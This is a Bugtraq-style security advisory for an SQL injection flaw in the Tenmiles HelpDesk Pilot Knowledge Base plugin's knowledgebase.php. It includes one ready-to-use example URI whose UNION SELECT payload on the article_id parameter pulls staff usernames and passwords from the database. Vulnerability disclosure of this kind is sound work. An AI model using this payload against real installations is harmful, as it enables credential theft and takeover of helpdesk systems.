Helpdesk Pilot Knowledge Base Plugin 'knowledgebase.php' SQL Injection Vulnerability

Bugtraq ID:	41270
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 29 2009 12:00AM
Updated:	Mar 19 2015 08:43AM
Credit:	kaMtiEz
Vulnerable:	Tenmiles Knowledge Base plugin 0 Tenmiles HelpDesk Pilot 4.4
Not Vulnerable:

Helpdesk Pilot Knowledge Base Plugin 'knowledgebase.php' SQL Injection Vulnerability

The Knowledge Base plugin for Helpdesk Pilot is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Helpdesk Pilot Knowledge Base Plugin 'knowledgebase.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/knowledgebase.php?act=art&article_id=-666+union+select+concat_ws(0x3a,staff_username,staff_password)+from+hdp_staff--

Helpdesk Pilot Knowledge Base Plugin 'knowledgebase.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Helpdesk Pilot Knowledge Base Plugin 'knowledgebase.php' SQL Injection Vulnerability

References:

• Knowledge Base Plugin Product Page (Tenmiles)
  
• Tenmiles Homepage (Tenmiles)